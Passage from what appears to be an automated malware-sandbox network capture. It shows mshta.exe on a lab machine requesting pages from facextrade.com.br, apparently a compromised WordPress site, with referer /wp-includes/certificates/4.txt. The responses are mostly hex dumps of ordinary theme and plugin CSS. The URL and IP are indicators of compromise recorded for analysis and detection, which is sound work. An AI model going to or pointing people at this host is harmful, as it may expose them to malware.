                                                                                      Data Ascii: /*! * Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. */.clearfix { *zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 76
                                                                                      Aug 16, 2022 11:39:30.704251051 CEST1299INData Raw: 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 20 20 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b
                                                                                      Data Ascii: 8px) and (max-width: 979px) { .hidden-desktop { display: inherit !important; } .visible-desktop { display: none !important ; } .visible-tablet { display: inherit !important; } .hidden-tablet { display: none !impor
                                                                                      Aug 16, 2022 11:39:30.704327106 CEST1300INData Raw: 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 35 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 34 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 33 37 30 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 33 20 7b 0a
                                                                                      Data Ascii: } .span5 { width: 470px; } .span4 { width: 370px; } .span3 { width: 270px; } .span2 { width: 170px; } .span1 { width: 70px; } .offset12 { margin-left: 1230px; } .offset11 { margin-left:
                                                                                      Aug 16, 2022 11:39:30.704436064 CEST1302INData Raw: 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 2a 77 69 64 74 68 3a 20 39 39 2e 39 34 36 38 30 38 35 31 30 36 33 38 32 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 31 31 20 7b 0a 20 20 20 20
                                                                                      Data Ascii: { width: 100%; *width: 99.94680851063829%; } .row-fluid .span11 { width: 91.45299145299145%; *width: 91.39979996362975%; } .row-fluid .span10 { width: 82.90598290598291%; *width: 82.8527914166212%; } .row-fl
                                                                                      Aug 16, 2022 11:39:30.704546928 CEST1303INData Raw: 6e 2d 6c 65 66 74 3a 20 39 36 2e 34 37 34 38 31 33 36 30 32 34 37 33 31 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 31 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65
                                                                                      Data Ascii: n-left: 96.47481360247316%; } .row-fluid .offset11:first-child { margin-left: 94.01709401709402%; *margin-left: 93.91071103837061%; } .row-fluid .offset10 { margin-left: 88.03418803418803%; *margin-left: 87.927805055464
                                                                                      Aug 16, 2022 11:39:30.704653978 CEST1304INData Raw: 39 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 2e 37 33 35 30 34 32 37 33 35 30 34 32 37 33 25 3b 0a 20
                                                                                      Data Ascii: 9%; } .row-fluid .offset5:first-child { margin-left: 42.73504273504273%; *margin-left: 42.62865975631933%; } .row-fluid .offset4 { margin-left: 36.75213675213675%; *margin-left: 36.645753773413354%; } .row-fluid .of
                                                                                      Aug 16, 2022 11:39:30.704783916 CEST1306INData Raw: 20 74 65 78 74 61 72 65 61 2e 73 70 61 6e 31 30 2c 0a 20 20 2e 75 6e 65 64 69 74 61 62 6c 65 2d 69 6e 70 75 74 2e 73 70 61 6e 31 30 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 35 36 70 78 3b 0a 20 20 7d 0a 20 20 69 6e 70 75 74 2e 73 70 61 6e 39
                                                                                      Data Ascii: textarea.span10, .uneditable-input.span10 { width: 956px; } input.span9, textarea.span9, .uneditable-input.span9 { width: 856px; } input.span8, textarea.span8, .uneditable-input.span8 { width: 756px; } input.
                                                                                      Aug 16, 2022 11:39:30.704957962 CEST1307INData Raw: 6f 70 20 2e 63 6f 6e 74 61 69 6e 65 72 2c 0a 20 20 2e 6e 61 76 62 61 72 2d 66 69 78 65 64 2d 62 6f 74 74 6f 6d 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 37 32 34 70 78 3b 0a 20 20 7d 0a 20 20 2e 73 70 61 6e 31 32
                                                                                      Data Ascii: op .container, .navbar-fixed-bottom .container { width: 724px; } .span12 { width: 724px; } .span11 { width: 662px; } .span10 { width: 600px; } .span9 { width: 538px; } .span8 { width: 476px; }
                                                                                      Aug 16, 2022 11:39:30.705091953 CEST1309INData Raw: 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 2e 37 36 32 34 33 30 39 33 39 32 32 36 35 31 39 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20
                                                                                      Data Ascii: der-box; float: left; margin-left: 2.7624309392265194%; *margin-left: 2.709239449864817%; } .row-fluid [class*="span"]:first-child { margin-left: 0; } .row-fluid .controls-row [class*="span"] + [class*="span"] { mar
                                                                                      Aug 16, 2022 11:39:30.705225945 CEST1310INData Raw: 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 31 32 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35 2e 35 32 34 38 36 31 38 37 38 34 35 33 30 34 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 35
                                                                                      Data Ascii: .row-fluid .offset12 { margin-left: 105.52486187845304%; *margin-left: 105.41847889972962%; } .row-fluid .offset12:first-child { margin-left: 102.76243093922652%; *margin-left: 102.6560479605031%; } .row-fluid .offset11
                                                                                      Aug 16, 2022 11:39:30.928124905 CEST1427INData Raw: 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 31 34 33 36 34 36 34 30 38 38 33 39 37 38 25 3b 0a 20 20 20 20 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 34 2e 30 33 37 32 36 33 34 33 30 31 31 36 33 37 36 25 3b 0a 20 20 7d 0a 20 20 2e 72 6f
                                                                                      Data Ascii: margin-left: 54.14364640883978%; *margin-left: 54.037263430116376%; } .row-fluid .offset6:first-child { margin-left: 51.38121546961326%; *margin-left: 51.27483249088986%; } .row-fluid .offset5 { margin-left: 45.5801104
                                                                                      Aug 16, 2022 11:39:30.929891109 CEST1435OUTGET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:31.156373978 CEST1493INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:13 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a5303e-6698-58592d3483f00"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT
                                                                                      Content-Length: 26264
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 23438063 18314933
                                                                                      Age: 138
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0a 2a 0a 2a 09 47 45 4e 45 52 41 4c 0a 2a 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 74 64 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 61 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 69 6d 67 2c 20 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6f 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 75 6c 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 6c 69 2c 0a 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 61 62 6c 65 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 62 6f 64 79 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 66 6f 6f 74 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 65 61 64 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 72 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 68 2c 20 2e 63 61 6d 65 72 61 5f 74 68 75 6d 62 73 5f 77 72 61 70 20 74 64 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 20 30 3b 0a 09 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 30 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 66 61 6b 65 68 6f 76 65 72 20 7b 0a 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 68 65 69 67 68 74 3a 20 36 30 70 78 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 7d 0a 2e 63 61 6d 65 72 61 5f 77 72 61 70 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a
                                                                                      Data Ascii: /****************************GENERAL***************************/.camera_wrap a, .camera_wrap img, .camera_wrap ol, .camera_wrap ul, .camera_wrap li,.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td.camera_thumbs_wrap a, .camera_thumbs_wrap img, .camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {background: none;border: 0;font: inherit;font-size: 100%;margin: 0;padding: 0;vertical-align: baseline;list-style: none}.camera_wrap {display: none;float: left;position: relative;z-index: 0;}.camera_wrap img {max-width: none!important;}.camera_fakehover {height: 100%;min-height: 60px;position: relative;width: 100%;z-index: 1;}.camera_wrap {width: 100%;
                                                                                      Aug 16, 2022 11:39:31.172862053 CEST1520OUTGET /wp-content/themes/theme51253/style.css HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:31.400304079 CEST1536INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:32 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53798-171-58592c24b7dc0"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT
                                                                                      Content-Length: 369
                                                                                      Content-Type: text/css
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 23438064 22077061
                                                                                      Age: 119
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a
                                                                                      Data Ascii: /*--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--*//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
                                                                                      Aug 16, 2022 11:39:31.408035994 CEST1537OUTGET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:31.632388115 CEST1539INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:31 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:25 GMT
                                                                                      ETag: "1eb103-41cd-5c93d38b56102"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 16845
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 2e 73 62 69 5f 66 69 78 65 64 5f 68 65 69 67 68 74 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 2e 73 62 69 5f 68 65 61 64 65 72 5f 6c 69 6e 6b 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 7b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 73 74 61 63 6b 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 7a 6f 6f 6d 3a 31 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 30 70 78 3b 70 61 64 64 69 6e 67 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 35 73 20 65 61 73 65 7d 23 73 62 5f 69 6e 73 74 61 67 72 61 6d 20 23 73 62 69 5f 69 6d 61 67 65 73 20 2e 73 62 69 5f 69 74 65 6d 2e 73 62 69 5f 74 72 61 6e 73 69 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 30 3b
                                                                                      Data Ascii: #sb_instagram{width:100%;margin:0 auto;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram:after{content:"";display:table;clear:both}#sb_instagram.sbi_fixed_height{overflow:hidden;overflow-y:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram #sbi_images{width:100%;float:left;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}#sb_instagram .sbi_header_link{-webkit-box-shadow:none;box-shadow:none}#sb_instagram .sbi_header_link:hover{border:none}#sb_instagram #sbi_images .sbi_item{display:-moz-inline-stack;display:inline-block;float:left;vertical-align:top;zoom:1;max-height:1000px;padding:inherit!important;margin:0!important;text-decoration:none;opacity:1;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-o-transition:all .5s ease;-ms-transition:all .5s ease;transition:all .5s ease}#sb_instagram #sbi_images .sbi_item.sbi_transition{opacity:0;


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      6192.168.2.349751187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:31.657129049 CEST1557OUTGET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:31.880414009 CEST1559INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:31 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                                                      ETag: "a4fabd-1735-58592f81e2d80"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 5941
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 6f 6f 74 68 65 6d 65 73 2e 63 6f 6d 2f 66 6c 65 78 73 6c 69 64 65 72 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 46 72 65 65 20 74 6f 20 75 73 65 20 75 6e 64 65 72 20 74 68 65 20 47 50 4c 76 32 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 67 70 6c 2d 32 2e 30 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 61 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 20 28 40 6d 62 6d 75 66 66 66 69 6e 29 0a 20 2a 2f 0a 0a 0a 2f 2a 20 42 72 6f 77 73 65 72 20 52 65 73 65 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 61 63 74 69 76 65 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 61 69 6e 65 72 20 61 3a 66 6f 63 75 73 2c 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 61 3a 66 6f 63 75 73 20 20 7b 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 73 6c 69 64 65 73 2c 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 2c 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 3b 7d 0a 2f 2a 20 49 63 6f 6e 20 46 6f 6e 74 73 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0a 2f 2a 20 46 6f 6e 74 2d 66 61 63 65 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 27 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 73 2f 66 6c 65 78 73 6c 69 64 65 72 2d 69 63 6f 6e 2e 65 6f 74 27 29 3b 0a 09 73 72 63 3a 75 72 6c 28 27 66 6f 